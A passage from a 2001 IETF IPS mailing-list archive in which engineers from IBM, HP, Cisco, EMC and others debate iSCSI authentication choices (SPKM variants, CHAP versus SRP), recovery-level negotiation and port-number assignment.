specified in RFC 2025 did not lend themselves to true anonymous clients), plus added a thin veneer mechanism called LIPKEY to take care of the password-based authentication for those clients that don't have a user certificate. So for iSCSI, if it is desirable to obviate client certificates, then SPKM-1 (really, SPKM-3, or a derivative thereof) and not SPKM-2 is what is needed. If client certificates are not needed, then a derivative of SPKM-2 is fine. A derivative is necessary, because there are intellectual property issues with at least one of the crypto algorithms specified in RFC 2025. -mre From owner-ips@ece.cmu.edu Tue Sep 4 17:35:17 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA28721 for ; Tue, 4 Sep 2001 17:35:11 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84Joul05526 for ips-outgoing; Tue, 4 Sep 2001 15:50:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84JorP05520 for ; Tue, 4 Sep 2001 15:50:54 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by atlrel1.hp.com (Postfix) with ESMTP id DEDB11F1; Tue, 4 Sep 2001 15:50:52 -0400 (EDT) Received: (from cbm@localhost) by core.rose.hp.com (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id MAA23685; Tue, 4 Sep 2001 12:52:10 -0700 (PDT) Message-Id: <200109041952.MAA23685@core.rose.hp.com> Subject: Re: iSCSI - Recovery Levels To: cbm@rose.hp.com Date: Tue, 04 Sep 2001 12:52:09 PDT Cc: Julian_Satran@il.ibm.com, ips@ece.cmu.edu In-Reply-To: <200109041803.LAA06142@core.rose.hp.com>; from "Mallikarjun C." at Sep 04, 2001 11:03 am Reply-To: cbm@rose.hp.com From: "Mallikarjun C." X-Mailer: Elm [revision: 212.5] Sender: owner-ips@ece.cmu.edu Precedence: bulk To those interested in this bit of editing confusion... Good news is that Julian and I are still thinking the same on error recovery plans for rev08 :-) I misunderstood what Julian implied when he outlined only two levels, when we had 0-4 levels in London proposals. Julian was in fact suggesting London proposals to be put in rev08. Apologies to Julian since my quick note of surprise seems to have surprised him. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Organization MS 5668 Hewlett-Packard, Roseville. cbm@rose.hp.com >Julian, > >As per our conversation over the phone last Friday (8/28), >I thought I am doing this error recovery editing (in fact >I am mostly done to send the doc in a few hours to you!). > >Also, I thought we both agreed that I would capture what >was presented in London in rev08 and state clearly that it's >still under debate. That is exactly what I summarized and sent >an email to ips on Friday afternoon! > >*Please* allow us to stick to this plan, so I can manage >to complete my editing today. I do not want to get into >a debate on the striation details *until* we publish rev08 - >which I thought we plan to publish by tomorrow. > >Regards. >-- >Mallikarjun > > >Mallikarjun Chadalapaka >Networked Storage Architecture >Network Storage Solutions Organization >MS 5668 Hewlett-Packard, Roseville. >cbm@rose.hp.com > > >>John, >> >>It is only a placeholder - I will put in a TBD there too! >> >>Julo >> >>John Hufferd@IBMUS >>03-09-2001 22:14 >> >>To: Julian Satran/Haifa/IBM@IBMIL >>cc: ips@ece.cmu.edu >>From: John Hufferd/San Jose/IBM@IBMUS >>Subject: Re: iSCSI - Recovery Levels (Document link: Julian Satran - >> Mail) >> >>Julian, >>The way you have written it, only two levels can be specified, since level >>one contains all the currently know levels. Perhaps, you need to leave >>some space between Zero and Everything currently known, by assigning >>Everything to be number 2, or, 3 etc. If we define it to be the number 2 >>for instance then it is possible that we only define 0 and 2 but it would >>leave room for a 1 if one was defined. >> >>. >>. >>. >>John L. Hufferd >>Senior Technical Staff Member (STSM) >>IBM/SSG San Jose Ca >>Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 >>Home Office (408) 997-6136 >>Internet address: hufferd@us.ibm.com >> >> >>Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/03/2001 06:59:38 AM >> >>Sent by: owner-ips@ece.cmu.edu >> >> >>To: ips@ece.cmu.edu >>cc: >>Subject: iSCSI - Recovery Levels >> >> >> >>There seems to be consensus around the fact the recovery leves are good and >>no >>clear consensus about hpow many should there be (2 or 3). >> >>As there is no chance to settle this until 08 gets out I suggest >>intrdocucing >>a generic key=value pair (RecoveryLevel) and remove the existing keys >>(CommmandFailoverSupport and CommandReplaySupport). >> >>RecoveryLevel will be defined as follows: >> >>01 RecoveryLevel >> >> Use: LO >> Who can send: Initiator and Target >> >> RecoveryLevel=<0 to x> >> >> Default is 0. >> >> Initiator and target negotiate the recovery level supported. >> The minimum of the two values is selected. >> >> Recovery levels represent a combination of recovery capabilities. >> Each recovery level includes all the capabilities of the lower recovery >> levels and adds to them some new ones. >> >> In the recovery mechanisms descriptions some specific recovery >> capabilities are used. >> >> Those are mapped to levels as follows: >> >> 0 - SessionRecovery >> 1 - CommandFailoverSupport and CommandReplaySupport >> [TBD] >> >> >> >> >> Comments? >> >> Julo >> >> >> >> >> >> >> > > From owner-ips@ece.cmu.edu Tue Sep 4 18:43:04 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA00046 for ; Tue, 4 Sep 2001 18:43:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84KutK09949 for ips-outgoing; Tue, 4 Sep 2001 16:56:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ariel.nishansystems.com (smtp.nishansystems.com [216.217.36.162]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84KuqP09944 for ; Tue, 4 Sep 2001 16:56:52 -0400 (EDT) Received: by ariel.nishansystems.com with Internet Mail Service (5.5.2653.19) id ; Tue, 4 Sep 2001 13:56:45 -0700 Message-ID: From: Joshua Tseng To: "'John Hufferd'" Cc: ips@ece.cmu.edu Subject: RE: iSCSI: Public Key Method Date: Tue, 4 Sep 2001 13:56:38 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk John, Based upon the information that Ofer and Michael have provided, I would choose SPKM-1 (or SPKM-3). This also allows the server the option to force certificate-based authentication of the client. Another option would be to create our own interface for iSCSI, but before we do that I would like someone to explain why we can't or shouldn't use SPKM-1. Josh > -----Original Message----- > From: John Hufferd [mailto:hufferd@us.ibm.com] > Sent: Saturday, September 01, 2001 1:18 AM > To: Joshua Tseng > Cc: ips@ece.cmu.edu > Subject: Re: iSCSI: Public Key Method > > > > Joshua, > what is the value of the time stamp in SPKM-2? Does it make it more > secure, or flexible or ???? > If you had to chose one (either SPKM-1 or SPKM-2), which one would you > chose and why? > What would be the down side to that choice? > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Joshua Tseng @ece.cmu.edu on > 08/31/2001 07:21:11 > PM > > Sent by: owner-ips@ece.cmu.edu > > > To: ips@ece.cmu.edu > cc: > Subject: iSCSI: Public Key Method > > > > This message is in response to the action item David Black gave me > at the Interim meeting to investigate the need for a Public Key Method > for iSCSI. > > My recommendation is that if we include the Kerberos method in iSCSI, > then we should also include at least one Public Key Method as well. > I don't see any problem with using SPKM-1 and SPKM-2. The only > difference between them is that SPKM-2 includes a timestamp. > > Although Kerberos has been in use for a longer period of time, > public key offers significant scaling advantages. It is also widely > recognized as the next-generation key distribution method, and > I believe iSCSI should not leave it out. > > Some of the key advantages of public key: > > 1) Key distribution does not require a secure communication > channel between the communicating principals and the key distribution > authority. Public keys can be distributed in the clear. On the > other hand, Kerberos requires an additional set of security > associations > between the Kerberos server and every principal, or manual > distribution > and configuration of keys, which can be an administrative nightmare. > > 2) In Public Key, there is no single point of failure as there is > with a Kerberos Server. If the Kerberos Server is wiped out in > a DOS attack, no one can access its keys, and no one can talk > securely. > Also, if the contents of the Kerberos Server is compromised, anyone > can be impersonated. On the other hand, if the CA is wiped out, > holders of public keys can still continue to function. Furthermore, > CA's can be distributed, making them resilient to attacks. > > 3) In Public Key, there is no single physical location or device > in the network that can be considered a performance bottleneck. > This is another reason why Public Key is far more scalable than > Kerberos. > > 4) Of all the iSCSI authentication methods in the current draft > (KRB5, SRP, CHAP), SPKM-1 and SPKM-2 require the least amount > of manual administration. > > Given the above, it makes sense to me that if we include Kerberos, > then we ought to also include Public Key. We may not need both > SPKM-1 and SPKM-2, but I think we should include at least one of > them. I believe the current text in the iSCSI document is fine > (good job Ofer!). > > Josh > > > > From owner-ips@ece.cmu.edu Tue Sep 4 19:19:30 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA00431 for ; Tue, 4 Sep 2001 19:19:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84MOfJ15486 for ips-outgoing; Tue, 4 Sep 2001 18:24:41 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84MOeP15481 for ; Tue, 4 Sep 2001 18:24:40 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Tue, 4 Sep 2001 18:24:35 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD6D4@CORPMX14> From: Black_David@emc.com To: ips@ece.cmu.edu Subject: London slides! Date: Tue, 4 Sep 2001 18:18:06 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Last call for slide presentations from London if you haven't sent them to me. Minutes go in this week with or without presentations. With is better. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Tue Sep 4 19:20:12 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA00466 for ; Tue, 4 Sep 2001 19:20:12 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84MG7X14969 for ips-outgoing; Tue, 4 Sep 2001 18:16:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84MG6P14965 for ; Tue, 4 Sep 2001 18:16:06 -0400 (EDT) Received: from xparelay2.corp.hp.com (unknown [15.58.137.112]) by palrel2.hp.com (Postfix) with ESMTP id 5485CFFB; Tue, 4 Sep 2001 15:16:05 -0700 (PDT) Received: from xpabh4.corp.hp.com (xpabh4.corp.hp.com [15.58.136.1]) by xparelay2.corp.hp.com (Postfix) with ESMTP id B1F681F525; Tue, 4 Sep 2001 15:16:04 -0700 (PDT) Received: by xpabh4.corp.hp.com with Internet Mail Service (5.5.2653.19) id ; Tue, 4 Sep 2001 15:16:02 -0700 Message-ID: <499DC368E25AD411B3F100902740AD6507778FEC@xrose03.rose.hp.com> From: "CONGDON,PAUL (HP-Roseville,ex1)" To: "'Mark Bakke'" , Black_David@emc.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI: CHAP and SRP comparison Date: Tue, 4 Sep 2001 15:15:54 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk While CHAP is one-way authentication, it can effectively be run twice (challenged from either side) as is shown in the examples in the appendix - right? Paul +--------------------------+----------------------------+ + Paul Congdon + Email: paul_congdon@hp.com + + Hewlett Packard Company + Mail Stop: 5662 + + HP ProCurve Networking + Phone: (916) 785-5753 + + 8000 Foothills Blvd + Fax: (916) 785-5949 + + Roseville, CA 95747 + Mobile: (916) 765-4056 + +--------------------------+----------------------------+ > -----Original Message----- > From: Mark Bakke [mailto:mbakke@cisco.com] > Sent: Tuesday, September 04, 2001 7:00 AM > To: Black_David@emc.com > Cc: ips@ece.cmu.edu > Subject: Re: iSCSI: CHAP and SRP comparison > > > David- > > Thanks. Those were the details that I'd seen somewhere but > forgotten. > > The way to help with the second issue is to store the passwords > on a RADIUS server instead of on the target itself. This is > what most users of CHAP would do; if passwords are stored directly > on the target, SRP would be a better choice. > > -- > Mark > > Black_David@emc.com wrote: > > > > Quick CHAP comparison to SRP: > > > > - CHAP is vulnerable to an off-line dictionary attack in which > > the attacker captures the traffic and tries passwords > > from a dictionary. SRP is not. > > - CHAP requires that the password be available as a password > > on the Target. SRP requires only a password verifier > > from which the password is not readily recoverable. > > - CHAP is one-way authentication, SRP is bidirectional > > because the Target demonstrates that it knows the verifier. > > > > IPsec can take care of the first issue by providing an > > encrypted channel (attacker has to break the IPsec encryption > > key before mounting the dictionary attack against CHAP), and > > the third issue by having IKE handle the authentication > > in the other direction. It doesn't help with the second issue, > > which is more of an administration issue than a protocol > > vulnerability. > > > > --David > > > > > -----Original Message----- > > > From: Mark Bakke [mailto:mbakke@cisco.com] > > > Sent: Friday, August 31, 2001 1:49 PM > > > To: John Hufferd > > > Cc: Bill Strahm; Ips@Ece. Cmu. Edu > > > Subject: Re: ISCSI: User authentication vs. Machine > Authentication for > > > iSCSI > > > > > > > > > John- > > > > > > Just wanted to point out that CHAP does not send passwords > > > in the clear; it hashes them. The reason that SRP was chosen > > > as the MUST over CHAP is that in a non-IPsec environment, > > > the CHAP exchange is not as robust as SRP's exchange, and is > > > more vulnerable to some types of attacks (I can't remember > > > which ones off-hand). IPsec provides an authenticated > > > environment in which to do the CHAP exchange, which takes > > > care of these potential problems. > > > > > > -- > > > Mark > > > > > > John Hufferd wrote: > > > > 3. Chap can be used in this environment since the Link is > > > already secure > > > > and encrypted, and sending the password in what otherwise > > > would have been > > > > in the clear, is protected by the link encryption. > > > > > > -- > > > Mark A. Bakke > > > Cisco Systems > > > mbakke@cisco.com > > > 763.398.1054 > > > > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 > From owner-ips@ece.cmu.edu Tue Sep 4 19:23:21 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA00508 for ; Tue, 4 Sep 2001 19:23:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84M15x14067 for ips-outgoing; Tue, 4 Sep 2001 18:01:05 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84M12P14055 for ; Tue, 4 Sep 2001 18:01:02 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id XAA17696; Tue, 4 Sep 2001 23:59:03 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f84Lx04167460; Tue, 4 Sep 2001 23:59:00 +0200 Importance: Normal Subject: Re: iSCSI: Public Key Method To: Michael Eisler , Black_David@emc.com Cc: "John Hufferd" , Joshua Tseng , ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "Ofer Biran" Date: Wed, 5 Sep 2001 01:00:35 +0200 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 05/09/2001 00:59:01 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Michael, > A derivative > is necessary, because there are intellectual property > issues with at least one of the crypto algorithms specified in > RFC 2025 Can you specify which algorithm you're referring to ? I guess this is less a problem for us since it's only an optional method (David - please correct me if I'm wrong here...) Another point - we don't have an identity protection requirement, so this reason alone should not drive us to derivative. Regards, Ofer Ofer Biran Storage and Systems Technology IBM Research Lab in Haifa biran@il.ibm.com 972-4-8296253 Michael Eisler @ece.cmu.edu on 04/09/2001 20:25:38 Please respond to Michael Eisler Sent by: owner-ips@ece.cmu.edu To: John Hufferd/San Jose/IBM@IBMUS cc: Joshua Tseng , ips@ece.cmu.edu Subject: Re: iSCSI: Public Key Method > > Joshua, > what is the value of the time stamp in SPKM-2? Does it make it more > secure, or flexible or ???? As the author of a derivative of the original SPKM specification, I might have some useful input here. Timestamps, IMHO, are less flexible since they require a time synchronization protocol. SPKM-2 needs the timestamps to detect replays during context establishment, and uses sequence numebrs after the context is established. SPKM-1 doesn't need timestamps to detect replays, but does incur one extra message over SPKM-2 during context establishment. Modulo attacks on the time synchronization service, neither approach is more secure than the other, but I'm more comfortable when the dependency on a secure time service is removed. There are other differences between SPKM-1 and SPKM-2. SPKM-1 supports unilateral authentication such that the initiator (the client) can be anonymous while the the target (the server) is authenticated to the initiator. SPKM-2 supports unilateral authentication but in the other direction. Also, SPKM-1 unilateral authentication allows the negotiation of of key establishment algorithms, whereas SPKM-2 doesn't. > If you had to chose one (either SPKM-1 or SPKM-2), which one would you > chose and why? > What would be the down side to that choice? When the NFSv4 WG looked at public key, one requirement was to not require heavy weight public key infrastructure on the client side, i.e. not require that each end-user have his own private/public key pair and certificate, and instead allow for a username/password pair to be encrypted from the client to server, via a key derived from the server's public key. This models the typical usage model of SSL; user certificates are rare. Hence SPKM-1, which at the SPKM level allows the client to be anonymous while authenticating the server, is more useful than SPKM-2. With SPKM-1, you can use a session key from the GSS context establishment to encrypt the username/password. As a result I updated SPKM-1 into SPKM-3 [RFC2847] for better support of anonymous initiators (several of the various crypto alogorithms specified in RFC 2025 did not lend themselves to true anonymous clients), plus added a thin veneer mechanism called LIPKEY to take care of the password-based authentication for those clients that don't have a user certificate. So for iSCSI, if it is desirable to obviate client certificates, then SPKM-1 (really, SPKM-3, or a derivative thereof) and not SPKM-2 is what is needed. If client certificates are not needed, then a derivative of SPKM-2 is fine. A derivative is necessary, because there are intellectual property issues with at least one of the crypto algorithms specified in RFC 2025. -mre From owner-ips@ece.cmu.edu Tue Sep 4 19:24:03 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA00522 for ; Tue, 4 Sep 2001 19:24:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84MdQN16370 for ips-outgoing; Tue, 4 Sep 2001 18:39:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic1.isus.emc.com ([168.159.129.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84McHP16309 for ; Tue, 4 Sep 2001 18:38:31 -0400 (EDT) Received: by mxic1.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Tue, 4 Sep 2001 18:40:16 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD6D8@CORPMX14> From: Black_David@emc.com To: ips@ece.cmu.edu Subject: IPS: TCP Port number applications Date: Tue, 4 Sep 2001 18:31:40 -0400 Importance: high X-Priority: 1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Looks like I screwed up, and system ports are only assigned by IANA when an RFC is published. Everyone (iSCSI, FCIP, iFCP, iSNS), please file an application for a User port number: http://www.iana.org/cgi-bin/usr-port-number.pl so that we can start using the right ones in the plugfests. Sorry for the initial misdirection. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Tue Sep 4 20:34:05 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA01196 for ; Tue, 4 Sep 2001 20:34:05 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84N6oE17900 for ips-outgoing; Tue, 4 Sep 2001 19:06:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84N6nP17896 for ; Tue, 4 Sep 2001 19:06:49 -0400 (EDT) Received: from cisco.com (dhcp-161-44-68-173.cisco.com [161.44.68.173]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id TAA13282 for ; Tue, 4 Sep 2001 19:06:43 -0400 (EDT) Message-ID: <3B955E75.1098DC7@cisco.com> Date: Tue, 04 Sep 2001 18:06:29 -0500 From: Steve Senum X-Mailer: Mozilla 4.73 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iSCSI: CHAP and SRP comparison References: <499DC368E25AD411B3F100902740AD6507778FEC@xrose03.rose.hp.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Paul, For CHAP: 1. Target authenticates Initiator only is allowed. 2. Target and Initiator authenticate each other is allowed. 3. Initiator authenticates Target only is not allowed. Regards, Steve Senum "CONGDON,PAUL (HP-Roseville,ex1)" wrote: > > While CHAP is one-way authentication, it can effectively be run twice > (challenged from either side) as is shown in the examples in the appendix - > right? > > Paul > > +--------------------------+----------------------------+ > + Paul Congdon + Email: paul_congdon@hp.com + > + Hewlett Packard Company + Mail Stop: 5662 + > + HP ProCurve Networking + Phone: (916) 785-5753 + > + 8000 Foothills Blvd + Fax: (916) 785-5949 + > + Roseville, CA 95747 + Mobile: (916) 765-4056 + > +--------------------------+----------------------------+ > > > -----Original Message----- > > From: Mark Bakke [mailto:mbakke@cisco.com] > > Sent: Tuesday, September 04, 2001 7:00 AM > > To: Black_David@emc.com > > Cc: ips@ece.cmu.edu > > Subject: Re: iSCSI: CHAP and SRP comparison > > > > > > David- > > > > Thanks. Those were the details that I'd seen somewhere but > > forgotten. > > > > The way to help with the second issue is to store the passwords > > on a RADIUS server instead of on the target itself. This is > > what most users of CHAP would do; if passwords are stored directly > > on the target, SRP would be a better choice. > > > > -- > > Mark > > > > Black_David@emc.com wrote: > > > > > > Quick CHAP comparison to SRP: > > > > > > - CHAP is vulnerable to an off-line dictionary attack in which > > > the attacker captures the traffic and tries passwords > > > from a dictionary. SRP is not. > > > - CHAP requires that the password be available as a password > > > on the Target. SRP requires only a password verifier > > > from which the password is not readily recoverable. > > > - CHAP is one-way authentication, SRP is bidirectional > > > because the Target demonstrates that it knows the verifier. > > > > > > IPsec can take care of the first issue by providing an > > > encrypted channel (attacker has to break the IPsec encryption > > > key before mounting the dictionary attack against CHAP), and > > > the third issue by having IKE handle the authentication > > > in the other direction. It doesn't help with the second issue, > > > which is more of an administration issue than a protocol > > > vulnerability. > > > > > > --David > > > > > > > -----Original Message----- > > > > From: Mark Bakke [mailto:mbakke@cisco.com] > > > > Sent: Friday, August 31, 2001 1:49 PM > > > > To: John Hufferd > > > > Cc: Bill Strahm; Ips@Ece. Cmu. Edu > > > > Subject: Re: ISCSI: User authentication vs. Machine > > Authentication for > > > > iSCSI > > > > > > > > > > > > John- > > > > > > > > Just wanted to point out that CHAP does not send passwords > > > > in the clear; it hashes them. The reason that SRP was chosen > > > > as the MUST over CHAP is that in a non-IPsec environment, > > > > the CHAP exchange is not as robust as SRP's exchange, and is > > > > more vulnerable to some types of attacks (I can't remember > > > > which ones off-hand). IPsec provides an authenticated > > > > environment in which to do the CHAP exchange, which takes > > > > care of these potential problems. > > > > > > > > -- > > > > Mark > > > > > > > > John Hufferd wrote: > > > > > 3. Chap can be used in this environment since the Link is > > > > already secure > > > > > and encrypted, and sending the password in what otherwise > > > > would have been > > > > > in the clear, is protected by the link encryption. > > > > > > > > -- > > > > Mark A. Bakke > > > > Cisco Systems > > > > mbakke@cisco.com > > > > 763.398.1054 > > > > > > > > -- > > Mark A. Bakke > > Cisco Systems > > mbakke@cisco.com > > 763.398.1054 > > From owner-ips@ece.cmu.edu Tue Sep 4 20:50:04 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA01445 for ; Tue, 4 Sep 2001 20:50:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84Nte720553 for ips-outgoing; Tue, 4 Sep 2001 19:55:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84NtcP20549 for ; Tue, 4 Sep 2001 19:55:38 -0400 (EDT) Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190]) by atlrel7.hp.com (Postfix) with ESMTP id B62931F8A4; Tue, 4 Sep 2001 19:54:02 -0400 (EDT) Received: from xatlbh4.atl.hp.com (xatlbh4.atl.hp.com [15.45.89.189]) by xatlrelay1.atl.hp.com (Postfix) with ESMTP id 4CB6F1F546; Tue, 4 Sep 2001 19:55:32 -0400 (EDT) Received: by xatlbh4.atl.hp.com with Internet Mail Service (5.5.2653.19) id ; Tue, 4 Sep 2001 19:55:32 -0400 Message-ID: <499DC368E25AD411B3F100902740AD6507778FED@xrose03.rose.hp.com> From: "CONGDON,PAUL (HP-Roseville,ex1)" To: "'John Hufferd'" , Stephen Bailey Cc: ips@ece.cmu.edu Subject: RE: ISCSI: User authentication vs. Machine Authentication for iSC SI Date: Tue, 4 Sep 2001 19:55:24 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Responding to John's comment below... >2) would be the case if jane helpful-programmer (or joe script-kiddy) >wrote a user-mode iSCSI initiator using sockets for whatever purpose. > >/*Huff** >This is one of the problems we must protect from. Since an OS (iSCSI >Initiator Node Name can be validated, we must make sure that the >Authorization approach prevents this from happening. As I stated >above I can not believe that a user mode application (other then in >development) that had to add all its own PDU structures etc. >would be a valid application (especially since it could NOT use any >iSCSI offload HW that might be in place.) >So I believe we must consider such a potential application as >probably a rouge application and do nothing to help this, and work >to prevent it. >**Huff*/ It isn't feasible nor desirable to protect against such a software implementation. I can imagine non-performance related applications that might want such an interface. However, there is also no way the OS should be responsible for passing its credentials to this application either. If the pure user-space software implementation is processing iSCSI PDUs, then it will be performing login itself and must use its own iSCSI Initiator name and perform its own authentication procedures... Paul From owner-ips@ece.cmu.edu Tue Sep 4 20:52:44 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA01466 for ; Tue, 4 Sep 2001 20:52:44 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84NgN319859 for ips-outgoing; Tue, 4 Sep 2001 19:42:23 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from imrelay.zambeel.com ([63.89.188.9]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84NgLP19855 for ; Tue, 4 Sep 2001 19:42:22 -0400 (EDT) Received: from xchange.zambeel.com ([63.89.188.10]) by imrelay.zambeel.com (8.11.0/8.11.0) with ESMTP id f84NemK08668; Tue, 4 Sep 2001 16:40:48 -0700 Received: by exchange.zambeel.com with Internet Mail Service (5.5.2653.19) id ; Tue, 4 Sep 2001 16:41:55 -0700 Received: from frostback (10.0.1.121 [10.0.1.121]) by xchange.zambeel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id S288R1TH; Tue, 4 Sep 2001 16:41:50 -0700 From: Michael Eisler Reply-To: Michael Eisler To: Ofer Biran Cc: Michael Eisler , Black_David@emc.com, John Hufferd , Joshua Tseng , ips@ece.cmu.edu Date: Tue, 4 Sep 2001 16:42:09 -0700 (PDT) Subject: Re: iSCSI: Public Key Method In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk > > A derivative > > is necessary, because there are intellectual property > > issues with at least one of the crypto algorithms specified in > > RFC 2025 > > Can you specify which algorithm you're referring to ? I guess Ofer, The md5WithRSAEncryption and sha1WithRSAEncryption integrity algorithms. However, it looks like the IP issues were around the RSA algorithm itself, which according to http://www.ietf.org/ietf/IPR/RSA, has expired. (In my defense, at the time the 